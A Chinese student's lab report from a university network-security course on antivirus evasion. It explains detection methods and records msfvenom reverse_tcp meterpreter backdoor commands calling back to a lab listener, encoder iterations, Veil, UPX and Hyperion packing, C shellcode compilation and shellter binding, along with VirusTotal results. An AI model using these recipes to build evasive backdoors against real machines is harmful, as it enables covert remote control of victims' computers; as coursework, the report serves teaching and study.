zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp3 免杀原理与实践

    实验内容

    • 正确掌握方法

      • 正确使用msf编码器(0.5分),
      • msfvenom生成如jar之类的其他文件(0.5分),
      • veil(0.5分),
      • 加壳工具(0.5分),
      • 使用C + shellcode编程(0.5分),
      • 使用其他课堂未介绍方法(0.5分)
    • 通过组合应用各种技术实现恶意代码免杀(0.5分)

    • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

    基础问题回答

    • 杀软是如何检测出恶意代码的?

      • 特征检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
      • 启发式检测:杀毒软件会监根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
      • 行为检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
    • 免杀是做什么?
      答:通过一些技术手段,让杀毒软件无法检测扫描到恶意代码。

    • 免杀的基本方法有哪些?
      答:(1)改变特征码:加壳(2)改变行为:改变通讯方式,改变行为模式 (3)花指令免杀(毫无意义的指令)(4)二次编译实现免杀

    实践总结与体会

    • 在本次实验中,我初步学习了免杀的知识,了解了一些可以做免杀的手段,虽然现在这些手段被检测的几率还是蛮大滴,但是为今后如果想要做免杀还是做好了铺垫。
    • 我的电脑安全软件是联想电脑管家(内置火绒),在本次实验中拖动恶意代码到电脑中都不会有提示,但是一旦尝试执行基本就会风险提示,并且风险详情描述的很准确,基本还是比较满意,以后会更加积极的更新升级。在做实验二三的时候就很烦,光被查出来,就网上各种搜资料,最后成功就很开心。
    • 这几天一直想从gouhub上下载东西,一直报错,搜了一下发现GitHub被劫持了???(一想到veil一直安装不成功,最后另辟蹊径,是因为这个,就很难受)等网络稳定了,再试一下BDF、venom吧

    开启杀软能绝对防止电脑中恶意代码吗?

    ???怎么会呢,简单的看,最起码我们拖动恶意代码到电脑中时,杀软没有实现报错,而是在执行时报错。我们在VirusTotal上的结果不也说明,简单的免杀也有被杀软遗漏的嘛~再者恶意代码的“升级”“换代”同样会给杀软造成新的困难。更何况,有人专门在学习如何给杀软造成困难呢。

    实践过程记录

    一、掌握方法

    1.1 使用msf编码器生成后门程序及检测

    • msfvenom直接生成

      • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234_backdoor.exe
      • 拖到VIRUSTOTAL中检测

        可以清楚地看到,72个查杀软件中有58个可以检测到这段恶意代码。
    • msfvenom一次编码

      • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234test.exe

      • VIRUSTOTAL检测

    • msfvenom多次编码

      • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234test.exe

      • VIRUSTOTAL检测

    1.2 msfvenom生成如jar之类的其他文件

    • 输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 > 20175234.jar
    • 拖到VIRUSTOTAL中检测

      这个jar包60个程序中有34个程序检测到了恶意代码。

    1.3 使用veil-evasion生成后门程序及检测

    • 下载veil-evasion

    • veil安装

      • 反复报错:Failed to connect to github.com port 443: 拒绝连接

        导致后面的安装无法进行,那么git clone不了咱们就手动解决一下
      • 将setup-dependencies下载下来放到/var/lib/veil/

        (新疆用不了网盘,就不提供资源了,需要可以私发)(也可以已成功的同学那里copy一个setup-dependencies)
      • 然后去/usr/share/veil/config/setup.sh里将git clone的语句注释掉(头头加##),就可以正常安装使用啦
    • 使用veil-evasion

      • 输入veil进入工具
      • use Evasion生成免查杀的程序
      • 可以使用list列出可生成的Payloads
      • 我选了个C语言的c/meterpreter/rev_tcp.py,选完以后可以info c/meterpreter/rev_tcp.py一下查看需要设置的参数
      • 简单的设置一下,generate生成
    • 拖动程序到virustotal检测一下

      45/71,这样就很难过

    1.4 加壳工具

    • 压缩壳:upx

      • upx 20175234test.exe -o 20175234upxed.exe
      • 扫一下,试一下
    • 加密壳:Hyperion

      • 将要加密的恶意代码拉到/usr/share/windows-binaries/hyperion/
      • 进入/usr/share/windows-binaries/hyperion/
      • 执行wine hyperion.exe -v 20175234test.exe 5234hyperion.exe
      • 测试

    1.5 使用C + shellcode编程

    • 使用msf生成一段shellcode

    • 创建一个.c文件,并且将刚才生成的unsigned char buf放进去

    • i686-w64-mingw32-g++ 20175234cshellcode.c -o c_shellcode.exe编译为可执行文件

    • 测试

      跟老师描述的一样,大部分杀毒软件可以鉴别

    1.6 捆绑工具shellter使用

    • 下载安装sudo apt-get install shellter
    • 准备一个可执行程序,我从/usr/share/windows-binaries/把whoami.exe拖出来准备绑定了
    • shellter启动
    • 输入A自动绑定,输入文件名
    • 选择payload,设置lhost和lopost,然后等着生成成功就好了

    • 拖到win10立马报错,错都错了,拉去网站检查一下


      这个结果看起来有进步呀
    • 把上一步实验生成的被绑定恶意代码的whoami加个壳试一下?

      好样的,查杀率不降反升,放弃该思路

    二、通过组合应用各种技术实现恶意代码免杀

    • Evasion模块免杀(达成√)

    三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    - 联想电脑管家 2.8.90.11211
    - 木马库版本时间 2020-03-24
    

    参考资料

    END

  • 相关阅读:
    进程与线程的一个简单解释
    如何更优雅的写出你的SQL语句
    SQL 性能优化梳理
    如何写出让同事无法维护的代码?
    Linux配置IP常用命令
    Linux中防火墙命令笔记
    蓝牙技术的工作原理及用途
    别死写代码,这 25 条比涨工资都重要
    搞清这些陷阱,NULL和三值逻辑再也不会作妖
    计算机网络:TCP和UDP的对比
  • 原文地址:https://www.cnblogs.com/ysz-123/p/12545898.html
Copyright © 2011-2022 走看看